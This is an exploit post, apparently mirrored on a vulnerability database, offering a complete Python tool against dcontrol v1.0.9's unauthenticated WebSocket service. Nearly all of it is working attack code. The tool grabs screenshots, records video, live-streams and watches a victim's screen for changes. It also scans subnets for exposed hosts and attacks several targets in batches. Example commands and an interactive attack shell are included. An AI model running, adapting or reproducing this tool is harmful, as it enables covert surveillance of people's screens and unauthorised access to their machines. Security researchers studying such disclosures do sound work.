==================================================================================================================================
| # Title : dcontrol v1.0.9 – Unauthenticated Remote Screen Capture and Surveillance Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe |
==================================================================================================================================
[+] Summary : The script is a fully featured remote screen-capture client targeting an exposed WebSocket service (/ws) associated with a “dcontrol” deployment.
It includes capabilities that move beyond diagnostic or administrative testing into active surveillance and unauthorized access workflows.
[+] POC : Examples:
Single screenshot : python3 1.py -t 192.168.1.100
Multiple screenshots : python3 1.py -t 192.168.1.100 --multi 20 --interval 2
Record video (30 seconds, 2 FPS) : python3 1.py -t 192.168.1.100 --record --duration 30 --fps 2
Monitor for changes : python3 1.py -t 192.168.1.100 --monitor --interval 5
Interactive mode : python3 1.py -t 192.168.1.100 --interactive
Scan network : python3 1.py --scan 192.168.1
#!/usr/bin/env python3
import asyncio
import websockets
import gzip
import base64
import argparse
import sys
import os
import time
import json
import threading
from datetime import datetime
from PIL import Image
import io
import cv2
import numpy as np
class DControlExploit:
def __init__(self, target_host, target_port=666, ssl=False):
"""
Initialize dcontrol exploit
"""
self.target_host = target_host
self.target_port = target_port
self.ssl = ssl
self.ws_url = f"{'wss' if ssl else 'ws'}://{target_host}:{target_port}/ws"
self.websocket = None
self.screenshot_count = 0
self.video_writer = None
self.recording = False
async def connect(self):
"""Establish WebSocket connection"""
try:
print(f"[*] Connecting to {self.ws_url}")
self.websocket = await websockets.connect(
self.ws_url,
timeout=10,
ping_interval=None
)
print(f"[+] Connected successfully to dcontrol service")
return True
except Exception as e:
print(f"[-] Failed to connect: {e}")
return False
async def disconnect(self):
"""Close WebSocket connection"""
if self.websocket:
await self.websocket.close()
print("[*] Connection closed")
async def capture_single_screenshot(self, quality=50, output_file=None):
"""
Capture a single screenshot
quality: 1-100 (compression level, lower = smaller file)
"""
if not self.websocket:
if not await self.connect():
return None
try:
print(f"[*] Requesting screenshot (quality: {quality})...")
await self.websocket.send(f'screen,{quality}')
data = await self.websocket.recv()
decompressed = gzip.decompress(data)
if not output_file:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = f"screenshot_{timestamp}.jpg"
with open(output_file, 'wb') as f:
f.write(decompressed)
file_size = len(decompressed) / 1024
print(f"[+] Screenshot captured! Saved as: {output_file} ({file_size:.2f} KB)")
try:
img = Image.open(io.BytesIO(decompressed))
print(f"[*] Image dimensions: {img.size[0]}x{img.size[1]}")
except:
pass
return output_file
except Exception as e:
print(f"[-] Failed to capture screenshot: {e}")
return None
async def capture_multiple_screenshots(self, count=10, interval=1, quality=50, output_dir="screenshots"):
"""
Capture multiple screenshots at specified intervals
"""
print(f"[*] Capturing {count} screenshots every {interval} second(s)...")
os.makedirs(output_dir, exist_ok=True)
screenshots = []
for i in range(count):
print(f"\n[*] Screenshot {i+1}/{count}")
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = os.path.join(output_dir, f"screenshot_{timestamp}_{i+1}.jpg")
result = await self.capture_single_screenshot(quality, filename)
if result:
screenshots.append(result)
if i < count - 1:
print(f"[*] Waiting {interval} seconds...")
await asyncio.sleep(interval)
print(f"\n[+] Captured {len(screenshots)} screenshots in '{output_dir}'")
return screenshots
async def start_video_recording(self, duration=None, fps=1, quality=50, output_file=None):
"""
Record video by capturing screenshots continuously
"""
if not output_file:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = f"screen_recording_{timestamp}.mp4"
print(f"[*] Starting video recording (FPS: {fps})")
print(f"[*] Output file: {output_file}")
if duration:
print(f"[*] Duration: {duration} seconds")
print("[*] Press Ctrl+C to stop recording")
frames = []
self.recording = True
start_time = time.time()
frame_count = 0
try:
while self.recording:
frame_start = time.time()
frame_data = await self.capture_single_screenshot(quality)
if frame_data:
img = Image.open(frame_data)
frames.append(np.array(img))
frame_count += 1
elapsed = time.time() - frame_start
delay = max(0, (1.0 / fps) - elapsed)
if duration and (time.time() - start_time) >= duration:
print(f"\n[*] Recording completed ({duration} seconds)")
break
if delay > 0:
await asyncio.sleep(delay)
if frame_data and os.path.exists(frame_data):
os.remove(frame_data)
if frames:
print(f"[*] Creating video from {frame_count} frames...")
self.create_video(frames, output_file, fps)
print(f"[+] Video saved: {output_file}")
else:
print("[-] No frames captured")
except KeyboardInterrupt:
print("\n[*] Recording stopped by user")
if frames:
self.create_video(frames, output_file, fps)
print(f"[+] Video saved: {output_file}")
except Exception as e:
print(f"[-] Recording error: {e}")
self.recording = False
return output_file
def create_video(self, frames, output_file, fps):
"""Convert frames to video file"""
if not frames:
return
height, width = frames[0].shape[:2]
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
out = cv2.VideoWriter(output_file, fourcc, fps, (width, height))
for frame in frames:
frame_bgr = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
out.write(frame_bgr)
out.release()
async def live_stream(self, quality=30, fps=0.5):
"""
Live streaming mode - continuously capture and display screenshots
"""
print(f"[*] Starting live stream mode (FPS: {fps})")
print("[*] Press Ctrl+C to stop")
try:
while True:
frame_start = time.time()
data = await self.capture_single_screenshot(quality)
if data:
try:
img = Image.open(data)
img.show()
except:
pass
print(f"[*] Frame captured at {datetime.now().strftime('%H:%M:%S')}")
if data and os.path.exists(data):
os.remove(data)
elapsed = time.time() - frame_start
delay = max(0, (1.0 / fps) - elapsed)
await asyncio.sleep(delay)
except KeyboardInterrupt:
print("\n[*] Live stream stopped")
async def monitor_changes(self, interval=2, quality=30, threshold=0.95):
"""
Monitor screen for changes and save when significant change detected
"""
print(f"[*] Monitoring screen for changes (interval: {interval}s)")
print("[*] Press Ctrl+C to stop")
previous_image = None
changes_dir = f"screen_changes_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
os.makedirs(changes_dir, exist_ok=True)
try:
while True:
data = await self.capture_single_screenshot(quality)
if data:
current_image = Image.open(data)
if previous_image:
similarity = self.compare_images(previous_image, current_image)
if similarity < threshold:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = os.path.join(changes_dir, f"change_{timestamp}.jpg")
current_image.save(filename)
print(f"[!] Screen change detected! Similarity: {similarity:.2%}")
print(f"[+] Saved: {filename}")
previous_image = current_image
os.remove(data)
await asyncio.sleep(interval)
except KeyboardInterrupt:
print(f"\n[*] Monitoring stopped. Changes saved in '{changes_dir}'")
def compare_images(self, img1, img2):
"""Compare two images and return similarity score"""
img1_gray = img1.convert('L').resize((100, 100))
img2_gray = img2.convert('L').resize((100, 100))
arr1 = np.array(img1_gray)
arr2 = np.array(img2_gray)
mse = np.mean((arr1 - arr2) ** 2)
max_mse = 255 ** 2
similarity = 1 - (mse / max_mse)
return similarity
async def interactive_mode(self):
"""Interactive shell for screen capture"""
print("""
╔═══════════════════════════════════════════════════════════════╗
║ dcontrol v1.0.9 - Remote Screen Capture Exploit ║
║ Unauthenticated WebSocket Access by indoushka ║
╚═══════════════════════════════════════════════════════════════╝
Commands:
capture [quality] - Capture single screenshot (quality: 1-100)
multi <count> [interval] - Capture multiple screenshots
record [duration] [fps] - Record video (duration in seconds, fps default 1)
stream [fps] - Live streaming mode
monitor [interval] - Monitor screen for changes
info - Show connection info
help - Show this help
exit/quit - Exit exploit
Examples:
> capture 50
> multi 10 2
> record 30 2
> stream 0.5
> monitor 3
""")
if not await self.connect():
return
while True:
try:
cmd = input(f"\n[dcontrol@{self.target_host}]> ").strip().lower()
if not cmd:
continue
if cmd == 'exit' or cmd == 'quit':
print("[*] Exiting...")
break
elif cmd == 'info':
print(f"Target: {self.target_host}:{self.target_port}")
print(f"WebSocket URL: {self.ws_url}")
print(f"Status: {'Connected' if self.websocket else 'Disconnected'}")
elif cmd.startswith('capture'):
parts = cmd.split()
quality = int(parts[1]) if len(parts) > 1 else 50
await self.capture_single_screenshot(quality)
elif cmd.startswith('multi'):
parts = cmd.split()
count = int(parts[1]) if len(parts) > 1 else 5
interval = int(parts[2]) if len(parts) > 2 else 1
await self.capture_multiple_screenshots(count, interval)
elif cmd.startswith('record'):
parts = cmd.split()
duration = int(parts[1]) if len(parts) > 1 else None
fps = int(parts[2]) if len(parts) > 2 else 1
await self.start_video_recording(duration, fps)
elif cmd.startswith('stream'):
parts = cmd.split()
fps = float(parts[1]) if len(parts) > 1 else 0.5
await self.live_stream(fps=fps)
elif cmd.startswith('monitor'):
parts = cmd.split()
interval = int(parts[1]) if len(parts) > 1 else 2
await self.monitor_changes(interval)
elif cmd == 'help':
print(__doc__)
else:
print("Unknown command. Type 'help' for available commands")
except KeyboardInterrupt:
print("\n[*] Interrupted")
break
except Exception as e:
print(f"[-] Error: {e}")
await self.disconnect()
class BatchExploit:
"""Batch operations for multiple targets"""
@staticmethod
async def scan_network(subnet, port=666):
"""Scan network for vulnerable dcontrol instances"""
print(f"[*] Scanning {subnet}.0/24 for dcontrol services...")
hosts = []
for i in range(1, 255):
ip = f"{subnet}.{i}"
try:
ws_url = f"ws://{ip}:{port}/ws"
ws = await websockets.connect(ws_url, timeout=3)
await ws.close()
print(f"[+] Found dcontrol at {ip}:{port}")
hosts.append(ip)
except:
pass
print(f"\n[*] Found {len(hosts)} vulnerable hosts")
return hosts
@staticmethod
async def exploit_multiple(hosts, quality=50, output_dir="batch_captures"):
"""Capture screenshots from multiple targets"""
os.makedirs(output_dir, exist_ok=True)
tasks = []
for host in hosts:
exploit = DControlExploit(host)
tasks.append(exploit.capture_single_screenshot(quality))
results = await asyncio.gather(*tasks, return_exceptions=True)
for host, result in zip(hosts, results):
if result and not isinstance(result, Exception):
print(f"[+] {host}: Screenshot saved")
def create_gif_from_screenshots(screenshot_dir, output_file="animation.gif", duration=500):
"""Create GIF from multiple screenshots"""
from PIL import ImageSequence
images = []
for file in sorted(os.listdir(screenshot_dir)):
if file.endswith('.jpg') or file.endswith('.png'):
images.append(Image.open(os.path.join(screenshot_dir, file)))
if images:
images[0].save(
output_file,
save_all=True,
append_images=images[1:],
duration=duration,
loop=0
)
print(f"[+] GIF created: {output_file}")
def main():
parser = argparse.ArgumentParser(
description='dcontrol v1.0.9 - Unauthenticated Remote Screen Capture',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Single screenshot
python3 %(prog)s -t 192.168.1.100
# Multiple screenshots
python3 %(prog)s -t 192.168.1.100 --multi 20 --interval 2
# Record video (30 seconds, 2 FPS)
python3 %(prog)s -t 192.168.1.100 --record --duration 30 --fps 2
# Monitor for changes
python3 %(prog)s -t 192.168.1.100 --monitor --interval 5
# Interactive mode
python3 %(prog)s -t 192.168.1.100 --interactive
# Scan network
python3 %(prog)s --scan 192.168.1
'''
)
parser.add_argument('-t', '--target', help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=666, help='Target port (default: 666)')
parser.add_argument('--ssl', action='store_true', help='Use WSS instead of WS')
parser.add_argument('-q', '--quality', type=int, default=50,
help='Image quality 1-100 (default: 50)')
parser.add_argument('-o', '--output', help='Output file name')
parser.add_argument('--multi', type=int, help='Number of screenshots to capture')
parser.add_argument('--interval', type=int, default=1,
help='Interval between captures in seconds (default: 1)')
parser.add_argument('--record', action='store_true', help='Record video')
parser.add_argument('--duration', type=int, help='Recording duration in seconds')
parser.add_argument('--fps', type=float, default=1, help='Frames per second (default: 1)')
parser.add_argument('--monitor', action='store_true', help='Monitor screen for changes')
parser.add_argument('--threshold', type=float, default=0.95,
help='Change detection threshold (default: 0.95)')
parser.add_argument('--scan', metavar='SUBNET', help='Scan subnet for vulnerable hosts')
parser.add_argument('--batch-file', help='File containing list of targets (one per line)')
parser.add_argument('-i', '--interactive', action='store_true',
help='Interactive mode')
args = parser.parse_args()
if args.scan:
hosts = asyncio.run(BatchExploit.scan_network(args.scan, args.port))
if hosts:
print("\n[*] Found hosts:")
for host in hosts:
print(f" - {host}")
sys.exit(0)
if args.batch_file:
with open(args.batch_file, 'r') as f:
hosts = [line.strip() for line in f if line.strip()]
asyncio.run(BatchExploit.exploit_multiple(hosts, args.quality))
sys.exit(0)
if not args.target:
parser.print_help()
sys.exit(1)
exploit = DControlExploit(args.target, args.port, args.ssl)
if args.interactive:
asyncio.run(exploit.interactive_mode())
sys.exit(0)
if args.record:
asyncio.run(exploit.start_video_recording(args.duration, args.fps, args.quality, args.output))
sys.exit(0)
if args.monitor:
asyncio.run(exploit.monitor_changes(args.interval, args.quality, args.threshold))
sys.exit(0)
if args.multi:
asyncio.run(exploit.capture_multiple_screenshots(args.multi, args.interval, args.quality))
sys.exit(0)
asyncio.run(exploit.capture_single_screenshot(args.quality, args.output))
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation